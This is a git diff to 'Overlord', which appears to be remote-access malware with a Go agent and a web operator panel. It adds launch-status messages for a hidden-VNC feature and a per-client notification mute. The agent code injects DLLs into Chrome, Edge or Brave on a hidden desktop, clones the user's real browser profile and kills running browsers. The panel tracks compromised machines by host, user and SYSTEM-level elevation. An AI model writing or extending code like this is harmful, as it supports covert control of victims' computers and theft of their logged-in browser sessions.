diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 182b6eb..2caefd1 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -36,6 +36,7 @@ var advapi32 = syscall.NewLazyDLL("advapi32.dll") type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) type DXGIStatusFunc func(success bool, gpuPID uint32, message string) +type LaunchStatusFunc func(step string, success bool, detail string) var hvncDXGIStatusCallback atomic.Value @@ -124,44 +125,59 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes return result.pid, result.err } -// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection. -// If clone is true, it clones the real profile so file I/O is redirected to the clone. -// If clone is false, it starts the browser with injection but no path redirection. -// browser should be one of: "chrome", "brave", "edge". -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { if onDXGIStatus != nil { hvncDXGIStatusCallback.Store(onDXGIStatus) } + notify := func(step string, success bool, detail string) { + log.Printf("hvnc %s: [%s] success=%v %s", browser, step, success, detail) + if onLaunchStatus != nil { + onLaunchStatus(step, success, detail) + } + } + info, ok := browserInfoMap[strings.ToLower(browser)] if !ok { + notify("resolve", false, fmt.Sprintf("unknown browser %q", browser)) return fmt.Errorf("unknown browser %q", browser) } if exePath == "" { exePath = findBrowserExe(info) if exePath == "" { + notify("resolve", false, fmt.Sprintf("%s executable not found in any search path", info.name)) return fmt.Errorf("%s not found", info.name) } } + notify("resolve", true, fmt.Sprintf("using %s", exePath)) - if killIfRunning && clone { + if killIfRunning { processName := info.exeName if processName == "" { processName = filepath.Base(exePath) } if isProcessRunning(processName) { - log.Printf("hvnc %s: killing running %s before cloning", info.name, processName) + notify("kill", true, fmt.Sprintf("killing running %s", processName)) killProcess(processName) time.Sleep(1500 * time.Millisecond) + if isProcessRunning(processName) { + notify("kill", false, fmt.Sprintf("%s still running after kill attempt", processName)) + } else { + notify("kill", true, fmt.Sprintf("%s terminated", processName)) + } + } else { + notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName)) } } if !clone { - log.Printf("hvnc %s: starting without profile cloning", info.name) + notify("launch", true, "starting without profile cloning") pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "") if err != nil { + notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) return err } + notify("launch", true, fmt.Sprintf("process started (PID %d)", pid)) if info.needsPatch && pid != 0 { go func() { defer recoverAndLog("hvnc patch opera", nil) @@ -173,15 +189,17 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c realUserData := getBrowserUserDataDir(info) if realUserData == "" { + notify("clone", false, fmt.Sprintf("could not determine %s user data directory", info.name)) return fmt.Errorf("could not determine %s user data directory", info.name) } - log.Printf("hvnc %s: real user data at %s", info.name, realUserData) + notify("clone", true, fmt.Sprintf("cloning profile from %s", realUserData)) cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress) if err != nil { + notify("clone", false, fmt.Sprintf("profile clone failed: %v", err)) return fmt.Errorf("profile clone failed: %v", err) } - log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir) + notify("clone", true, fmt.Sprintf("cloned profile to %s", cloneDir)) if info.isFirefox { for _, lockFile := range []string{"parent.lock", "lock"} { @@ -205,10 +223,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c } } + notify("launch", true, "starting with cloned profile") pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir) if err != nil { + notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) return err } + notify("launch", true, fmt.Sprintf("process started (PID %d)", pid)) if info.needsPatch && pid != 0 { go func() { defer recoverAndLog("hvnc patch opera", nil) @@ -220,7 +241,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c // StartHVNCChromeInjected is kept for backward compatibility. func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { - return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil) + return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil, nil) } type browserInfo struct { diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index daa3db1..231c8da 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -4,9 +4,11 @@ import ( "context" "encoding/json" "errors" + "fmt" "log" "os" "os/exec" + "path/filepath" goruntime "runtime" "strconv" "strings" @@ -1511,12 +1513,29 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_process", nil, func() { + sendLaunchStatus := func(step string, success bool, detail string) { + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{ + Type: "hvnc_browser_launch_status", + Browser: filepath.Base(strings.Trim(filePath, `"`)), + Step: step, + Success: success, + Detail: detail, + }) + } if killExe != "" { + sendLaunchStatus("kill", true, "killing "+killExe) out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput() log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err) + if err != nil { + sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out)))) + } } + sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath)) if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil { log.Printf("hvnc: start process failed for %q: %v", filePath, err) + sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err)) + } else { + sendLaunchStatus("launch", true, "process created") } }) return nil @@ -1723,7 +1742,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in Message: message, }) } - if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil { + onLaunchStatus := func(step string, success bool, detail string) { + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{ + Type: "hvnc_browser_launch_status", + Browser: browser, + Step: step, + Success: success, + Detail: detail, + }) + } + if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus, onLaunchStatus); err != nil { log.Printf("hvnc: browser injected failed for %q: %v", browser, err) } }) diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 3c9934e..97577b9 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -265,6 +265,14 @@ type HVNCInstalledAppsResult struct { Done bool `msgpack:"done"` } +type HVNCBrowserLaunchStatus struct { + Type string `msgpack:"type"` + Browser string `msgpack:"browser"` + Step string `msgpack:"step"` + Success bool `msgpack:"success"` + Detail string `msgpack:"detail"` +} + type ClipboardContent struct { Type string `msgpack:"type"` Text string `msgpack:"text"` diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index ec666ee..3d8e15b 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -382,6 +382,47 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } } + const launchStatusEl = document.getElementById("launchStatus"); + const launchStatusIcon = document.getElementById("launchStatusIcon"); + const launchStatusLabel = document.getElementById("launchStatusLabel"); + let launchHideTimer = null; + + function handleBrowserLaunchStatus(msg) { + if (!launchStatusEl) return; + if (launchHideTimer) { + clearTimeout(launchHideTimer); + launchHideTimer = null; + } + launchStatusEl.classList.remove("hidden"); + launchStatusEl.classList.add("flex"); + + const browser = msg.browser || "browser"; + const step = msg.step || ""; + const detail = msg.detail || ""; + + if (!msg.success) { + launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400"; + launchStatusLabel.textContent = `${browser} ${step}: ${detail}`; + launchStatusLabel.className = "text-rose-300"; + launchHideTimer = setTimeout(() => { + launchStatusEl.classList.add("hidden"); + launchStatusEl.classList.remove("flex"); + }, 15000); + } else if (step === "launch") { + launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400"; + launchStatusLabel.textContent = `${browser}: ${detail}`; + launchStatusLabel.className = "text-emerald-300"; + launchHideTimer = setTimeout(() => { + launchStatusEl.classList.add("hidden"); + launchStatusEl.classList.remove("flex"); + }, 8000); + } else { + launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400"; + launchStatusLabel.textContent = `${browser} ${step}: ${detail}`; + launchStatusLabel.className = "text-sky-300"; + } + } + function handleBrowserCheckResult(msg) { if (!msg.browsers || !contextMenu) return; contextMenu.querySelectorAll("[data-browser]").forEach((btn) => { @@ -883,6 +924,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; handleDXGIStatus(msg); return; } + if (msg && msg.type === "hvnc_browser_launch_status") { + handleBrowserLaunchStatus(msg); + return; + } if (msg && msg.type === "hvnc_error") { console.error("hvnc: server error:", msg.error || msg.message); return; @@ -922,6 +967,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; handleDXGIStatus(msg); return; } + if (msg && msg.type === "hvnc_browser_launch_status") { + handleBrowserLaunchStatus(msg); + return; + } if (msg && msg.type === "hvnc_error") { console.error("hvnc: server error:", msg.error || msg.message); return; diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index cb93d52..3d22999 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -2251,6 +2251,7 @@ tbody tr:hover { .cv-pill-admin { background: rgba(234, 179, 8, 0.12); color: #fde68a; border-color: rgba(234, 179, 8, 0.3); } .cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); } .cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); } +.cv-pill-muted { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); } .cv-group { display: inline-flex; diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 5756b4e..b6ad99c 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -39,6 +39,8 @@ const bulkDisconnectBtn = document.getElementById("bulk-disconnect"); const bulkUninstallBtn = document.getElementById("bulk-uninstall"); const bulkClearBtn = document.getElementById("bulk-clear"); const bulkGroupBtn = document.getElementById("bulk-group"); +const bulkMuteBtn = document.getElementById("bulk-mute"); +const bulkUnmuteBtn = document.getElementById("bulk-unmute"); const serverVersionText = document.getElementById("server-version-text"); const selectedClients = new Set(); let lastNonOnlineStatus = "all"; @@ -593,7 +595,9 @@ function initializeRenderer() { pageLabel, openMenu: (id, x, y) => { applyMenuSupportRules(id); - openMenu(id, x, y, setContext, { isOnline: isClientOnline(id) }); + const card = getClientCard(id); + const notificationsMuted = card?.dataset.notificationsMuted === "true"; + openMenu(id, x, y, setContext, { isOnline: isClientOnline(id), notificationsMuted }); loadPluginsForClient(id); }, openModal, @@ -896,6 +900,39 @@ bulkGroupBtn?.addEventListener("click", () => { openBulkGroupPicker([...selectedClients]); }); +async function bulkSetMuted(muted) { + if (selectedClients.size === 0) return; + const ids = [...selectedClients]; + try { + const res = await fetch("/api/clients/bulk-notifications-muted", { + method: "PATCH", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ clientIds: ids, muted }), + }); + if (!res.ok) { + const data = await res.json().catch(() => ({})); + alert(data.error || "Failed to update notifications mute state"); + return; + } + const data = await res.json().catch(() => ({})); + const action = muted ? "Muted" : "Unmuted"; + alert(`${action} notifications for ${data.updated ?? 0}/${ids.length} clients`); + } catch (err) { + console.error(err); + alert("Failed to update notifications mute state"); + return; + } + selectedClients.clear(); + document + .querySelectorAll(".client-checkbox") + .forEach((cb) => (cb.checked = false)); + updateBulkToolbar(); + setTimeout(() => loadWithOptions({ force: true }), 200); +} + +bulkMuteBtn?.addEventListener("click", () => bulkSetMuted(true)); +bulkUnmuteBtn?.addEventListener("click", () => bulkSetMuted(false)); + async function openBulkGroupPicker(clientIds) { const groups = await loadGroups(); @@ -1066,6 +1103,27 @@ window.setClientTag = async (clientId, tag, note) => { } }; +window.setClientNotificationsMuted = async (clientId, muted) => { + if (!clientId) return false; + try { + const res = await fetch(`/api/clients/${clientId}/notifications-muted`, { + method: "PATCH", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ muted: !!muted }), + }); + if (!res.ok) { + const data = await res.json().catch(() => ({})); + alert(data.error || "Failed to update notification mute state"); + return false; + } + return true; + } catch (err) { + console.error(err); + alert("Failed to update notification mute state"); + return false; + } +}; + window.setClientGroup = async (clientId, groupId) => { if (!clientId) return false; try { @@ -1447,6 +1505,13 @@ menu.addEventListener("click", async (e) => { closeMenu(clearContext); openGroupPicker(savedClientId); return; + } else if (action === "toggle-mute") { + const card = getClientCard(contextCard); + const currentlyMuted = card?.dataset.notificationsMuted === "true"; + const ok = await window.setClientNotificationsMuted(contextCard, !currentlyMuted); + if (ok) setTimeout(() => loadWithOptions({ force: true }), 200); + closeMenu(clearContext); + return; } if (!isClientOnline(contextCard)) { diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index f704029..d909423 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -408,7 +408,7 @@ export function createRenderer({ } function cardDigest(c) { - return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}`; + return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`; } function renderMerge(data, options = {}) { @@ -506,6 +506,7 @@ export function createRenderer({ el.dataset.nickname = String(client.nickname || ""); el.dataset.customTag = String(client.customTag || ""); el.dataset.bookmarked = String(!!client.bookmarked); + el.dataset.notificationsMuted = String(!!client.notificationsMuted); el.dataset.admin = String(!!client.isAdmin); el.dataset.groupId = String(client.groupId || ""); el.dataset.groupName = String(client.groupName || ""); @@ -626,6 +627,7 @@ export function createRenderer({ ${client.isAdmin ? `` : ""} ${client.elevation === "system" ? `` : ""} ${client.elevation === "trustedinstaller" ? `` : ""} + ${client.notificationsMuted ? `` : ""}
${escapeHtml(userLine)}
${meta}
@@ -696,6 +698,7 @@ export function createRenderer({ ${client.isAdmin ? `` : ""} ${client.elevation === "system" ? `` : ""} ${client.elevation === "trustedinstaller" ? `` : ""} + ${client.notificationsMuted ? `` : ""} ${escapeHtml(userLine)}${client.ip ? `ยท ${escapeHtml(client.ip)}` : ""} @@ -752,6 +755,7 @@ export function createRenderer({ client.isAdmin ? `` : "", client.elevation === "system" ? `` : "", client.elevation === "trustedinstaller" ? `` : "", + client.notificationsMuted ? `` : "", ].join(""); article.innerHTML = ` diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 56b214b..41f78a5 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -45,6 +45,7 @@ const MENU_GROUPS = [ { label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" }, { label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" }, { label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" }, + { label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" }, { divider: true }, { label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" }, { divider: true }, @@ -371,6 +372,19 @@ export function openMenu(clientId, x, y, setContext, options = {}) { removeBtn.style.display = options.isOnline === true ? "none" : ""; } + const muteBtn = menu.querySelector('[data-action="toggle-mute"]'); + if (muteBtn) { + const icon = muteBtn.querySelector("i"); + const label = muteBtn.querySelector("span"); + if (options.notificationsMuted) { + if (label) label.textContent = "Unmute Notifications"; + if (icon) icon.className = "fa-solid fa-bell ctx-icon text-emerald-300"; + } else { + if (label) label.textContent = "Mute Notifications"; + if (icon) icon.className = "fa-solid fa-bell-slash ctx-icon text-amber-300"; + } + } + // Reset submenu state hideSubmenu(); diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index c640392..4e7b9a6 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -104,6 +104,13 @@ DXGI +
diff --git a/Overlord-Server/public/index.html b/Overlord-Server/public/index.html index bf5201a..f97635a 100644 --- a/Overlord-Server/public/index.html +++ b/Overlord-Server/public/index.html @@ -182,6 +182,18 @@ > Set Group + +